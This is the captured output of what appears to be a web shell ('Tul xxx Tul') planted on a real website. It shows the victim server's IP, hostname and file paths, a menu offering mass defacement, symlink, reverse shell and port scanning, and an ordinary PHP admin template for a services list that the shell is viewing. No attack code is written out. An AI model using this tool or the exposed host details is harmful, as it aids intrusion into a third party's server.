Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
app
/
views
/
servicios
/
Viewing: index.php
<?php $success = $success ?? null; $error = $error ?? null; ?> <!-- Alertas --> <?php if ($success): ?> <div class="alert alert-success alert-dismissible fade show d-flex align-items-center" role="alert" style="border: none; border-radius: 10px; border-left: 4px solid #06d6a0;"> <i class="bi bi-check-circle-fill me-2"></i> <?= htmlspecialchars($success) ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <?php if ($error): ?> <div class="alert alert-danger alert-dismissible fade show d-flex align-items-center" role="alert" style="border: none; border-radius: 10px; border-left: 4px solid #ef476f;"> <i class="bi bi-exclamation-circle-fill me-2"></i> <?= htmlspecialchars($error) ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <div class="card-custom"> <div class="card-header-custom"> <h5><i class="bi bi-gear me-2"></i>Gestión de Servicios</h5> <a href="<?= BASE_URL ?>/servicios/create" class="btn btn-sm btn-primary-custom"> <i class="bi bi-plus-lg me-1"></i> Nuevo Servicio </a> </div> <div class="card-body-custom p-0"> <?php if (empty($servicios)): ?> <div class="empty-section"> <div class="empty-section-icon"><i class="bi bi-gear"></i></div> <h4>Sin servicios registrados</h4> <p>Aún no hay servicios. Agrega el primero para comenzar.</p> <a href="<?= BASE_URL ?>/servicios/create" class="btn btn-primary-custom"> <i class="bi bi-plus-circle me-2"></i>Agregar primer servicio </a> </div> <?php else: ?> <div class="table-responsive"> <table class="table-custom"> <thead> <tr> <th style="width: 70px;">Imagen</th> <th>Nombre</th> <th class="d-none d-md-table-cell">Descripción</th> <th>Precio</th> <th class="d-none d-sm-table-cell">Fecha</th> <th style="width: 140px;">Acciones</th> </tr> </thead> <tbody> <?php foreach ($servicios as $servicio): ?> <tr> <td> <?php if (!empty($servicio['imagen'])): ?> <img src="<?= BASE_URL ?>/public/assets/uploads/servicios/<?= htmlspecialchars($servicio['imagen']) ?>" alt="<?= htmlspecialchars($servicio['nombre']) ?>" class="img-thumbnail" style="width: 50px; height: 50px; object-fit: cover; border-radius: 8px;"> <?php else: ?> <div style="width: 50px; height: 50px; background: var(--bg-body); border-radius: 8px; display: flex; align-items: center; justify-content: center;"> <i class="bi bi-image text-muted"></i> </div> <?php endif; ?> </td> <td> <strong><?= htmlspecialchars($servicio['nombre']) ?></strong> </td> <td class="d-none d-md-table-cell"> <span class="text-muted" style="font-size: 0.85rem;"> <?= htmlspecialchars(mb_strimwidth($servicio['descripcion'] ?? '', 0, 60, '...')) ?> </span> </td> <td> <span style="font-weight: 600; color: var(--primary);"> $<?= number_format($servicio['precio'], 2) ?> </span> </td> <td class="d-none d-sm-table-cell"> <span style="font-size: 0.82rem; color: var(--text-muted);"> <?= date('d/m/Y', strtotime($servicio['fecha_creacion'])) ?> </span> </td> <td> <div class="d-flex gap-1"> <a href="<?= BASE_URL ?>/servicios/edit/<?= $servicio['id'] ?>" class="btn btn-sm btn-outline-primary" title="Editar" style="border-radius: 6px; padding: 4px 10px;"> <i class="bi bi-pencil"></i> </a> <button type="button" class="btn btn-sm btn-outline-danger btn-delete" data-id="<?= $servicio['id'] ?>" data-nombre="<?= htmlspecialchars($servicio['nombre']) ?>" title="Eliminar" style="border-radius: 6px; padding: 4px 10px;"> <i class="bi bi-trash"></i> </button> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </div> </div> <!-- Modal de confirmación de eliminación --> <div class="modal fade" id="deleteModal" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content" style="border: none; border-radius: 16px;"> <div class="modal-header" style="border-bottom: 1px solid var(--border-color); padding: 20px 24px;"> <h5 class="modal-title"><i class="bi bi-exclamation-triangle text-danger me-2"></i>Confirmar Eliminación</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body" style="padding: 24px;"> <p>¿Estás seguro de que deseas eliminar el servicio <strong id="deleteServiceName"></strong>?</p> <p class="text-muted" style="font-size: 0.85rem;">Esta acción no se puede deshacer.</p> </div> <div class="modal-footer" style="border-top: 1px solid var(--border-color); padding: 16px 24px;"> <button type="button" class="btn btn-sm btn-secondary" data-bs-dismiss="modal" style="border-radius: 6px;">Cancelar</button> <a href="#" id="deleteConfirmBtn" class="btn btn-sm btn-danger" style="border-radius: 6px;"> <i class="bi bi-trash me-1"></i>Eliminar </a> </div> </div> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { const deleteModal = document.getElementById('deleteModal'); const modal = new bootstrap.Modal(deleteModal); document.querySelectorAll('.btn-delete').forEach(function(btn) { btn.addEventListener('click', function() { const id = this.dataset.id; const nombre = this.dataset.nombre; document.getElementById('deleteServiceName').textContent = nombre; document.getElementById('deleteConfirmBtn').href = '<?= BASE_URL ?>/servicios/delete/' + id; modal.show(); }); }); }); </script>
Coded With 💗 by
0x6ick